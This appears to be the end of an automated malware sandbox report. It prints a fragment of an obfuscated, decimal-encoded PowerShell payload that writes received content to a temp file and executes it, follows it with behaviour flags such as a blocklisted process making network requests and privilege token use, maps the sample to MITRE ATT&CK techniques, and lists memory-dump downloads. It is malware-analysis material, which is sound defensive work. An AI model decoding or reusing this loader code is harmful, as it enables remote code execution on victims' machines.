103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,83,99,34,32,123,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,65,91,50,93,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,97,114,103,101,116,80,97,116,104,44,32,36,65,91,49,93,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,93,58,58,83,116,97,114,116,40,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,34,67,108,34,32,123,13,10,32,32,32,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,69,120,105,116,40,48,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,85,110,34,32,123,13,10,32,32,32,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,69,120,105,116,40,48,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,125,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,51,48,48,48,41,13,10,125)))
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1980

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/360-60-0x000007FEFB7B1000-0x000007FEFB7B3000-memory.dmp

Download

memory/1100-65-0x000000001AC20000-0x000000001AC21000-memory.dmp

Download

memory/1100-71-0x000000001B8F0000-0x000000001B8F1000-memory.dmp

Download

memory/1100-66-0x00000000024C0000-0x00000000024C1000-memory.dmp

Download

memory/1100-68-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

Download

memory/1100-67-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

Download

memory/1100-69-0x0000000002370000-0x0000000002371000-memory.dmp

Download

memory/1100-64-0x0000000002480000-0x0000000002481000-memory.dmp

Download

memory/1100-70-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

Download

memory/1416-81-0x000000001AC30000-0x000000001AC32000-memory.dmp

Download

memory/1416-82-0x000000001AC34000-0x000000001AC36000-memory.dmp

Download

memory/1708-103-0x00000000026E0000-0x00000000026E1000-memory.dmp

Download

memory/1708-100-0x0000000002620000-0x0000000002621000-memory.dmp

Download

memory/1708-116-0x000000001AB30000-0x000000001AB31000-memory.dmp

Download

memory/1708-97-0x000000001AB60000-0x000000001AB62000-memory.dmp

Download

memory/1708-98-0x000000001AB64000-0x000000001AB66000-memory.dmp

Download

memory/1708-115-0x000000001AB20000-0x000000001AB21000-memory.dmp

Download

memory/1768-160-0x000000001A990000-0x000000001A992000-memory.dmp

Download

memory/1768-161-0x000000001A994000-0x000000001A996000-memory.dmp

Download

memory/1980-190-0x000000001AC50000-0x000000001AC52000-memory.dmp

Download

memory/1980-191-0x000000001AC54000-0x000000001AC56000-memory.dmp

Download

memory/1980-193-0x000000001C440000-0x000000001C441000-memory.dmp

Download

memory/1980-194-0x000000001B930000-0x000000001B931000-memory.dmp

Download